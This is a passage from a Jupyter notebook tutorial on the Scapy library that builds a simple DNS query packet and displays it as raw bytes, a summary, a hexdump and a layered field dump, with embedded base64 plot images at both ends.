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\n3vwBiKfkY/e6SeUAAAAASUVORK5CYII=\n", "text": [ "" ] }, { "metadata": {}, "output_type": "pyout", "prompt_number": 26, "text": [ "[[],\n", " []]" ] } ], "prompt_number": 26 }, { "cell_type": "markdown", "metadata": {}, "source": [ "The `str()` constructor can be used to \"build\" the packet's bytes as they would be sent on the wire." ] }, { "cell_type": "code", "collapsed": false, "input": [ "pkt = IP() / UDP() / DNS(qd=DNSQR())\n", "print repr(str(pkt))" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "'E\\x00\\x00=\\x00\\x01\\x00\\x00@\\x11|\\xad\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x005\\x005\\x00)\\xb6\\xd3\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x03www\\x07example\\x03com\\x00\\x00\\x01\\x00\\x01'\n" ] } ], "prompt_number": 8 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Since some people cannot read this representation, Scapy can:\n", " - give a summary for a packet" ] }, { "cell_type": "code", "collapsed": false, "input": [ "print pkt.summary()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "IP / UDP / DNS Qry \"www.example.com\" \n" ] } ], "prompt_number": 10 }, { "cell_type": "markdown", "metadata": {}, "source": [ " - \"hexdump\" the packet's bytes" ] }, { "cell_type": "code", "collapsed": false, "input": [ "hexdump(pkt)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "0000 45 00 00 3D 00 01 00 00 40 11 7C AD 7F 00 00 01 E..=....@.|.....\n", "0010 7F 00 00 01 00 35 00 35 00 29 B6 D3 00 00 01 00 .....5.5.)......\n", "0020 00 01 00 00 00 00 00 00 03 77 77 77 07 65 78 61 .........www.exa\n", "0030 6D 70 6C 65 03 63 6F 6D 00 00 01 00 01 mple.com.....\n" ] } ], "prompt_number": 18 }, { "cell_type": "markdown", "metadata": {}, "source": [ " - dump the packet, layer by layer, with the values for each field" ] }, { "cell_type": "code", "collapsed": false, "input": [ "pkt.show()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ IP ]###\n", " version = 4\n", " ihl = None\n", " tos = 0x0\n", " len = None\n", " id = 1\n", " flags = \n", " frag = 0\n", " ttl = 64\n", " proto = udp\n", " chksum = None\n", " src = 127.0.0.1\n", " dst = 127.0.0.1\n", " \\options \\\n", "###[ UDP ]###\n", " sport = domain\n", " dport = domain\n", " len = None\n", " chksum = None\n", "###[ DNS ]###\n", " id = 0\n", " qr = 0\n", " opcode = QUERY\n", " aa = 0\n", " tc = 0\n", " rd = 1\n", " ra = 0\n", " z = 0\n", " ad = 0\n", " cd = 0\n", " rcode = ok\n", " qdcount = 1\n", " ancount = 0\n", " nscount = 0\n", " arcount = 0\n", " \\qd \\\n", " |###[ DNS Question Record ]###\n", " | qname = 'www.example.com'\n", " | qtype = A\n", " | qclass = IN\n", " an = None\n", " ns = None\n", " ar = None\n" ] } ], "prompt_number": 11 }, { "cell_type": "markdown", "metadata": {}, "source": [ " - render a pretty and handy dissection of the packet" ] }, { "cell_type": "code", "collapsed": false, "input": [ "pkt.canvas_dump()" ], "language": "python", "metadata": { "scrolled": true }, "outputs": [ { "metadata": {}, "output_type": "pyout", "png": "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\no39C7Zn/eHvyD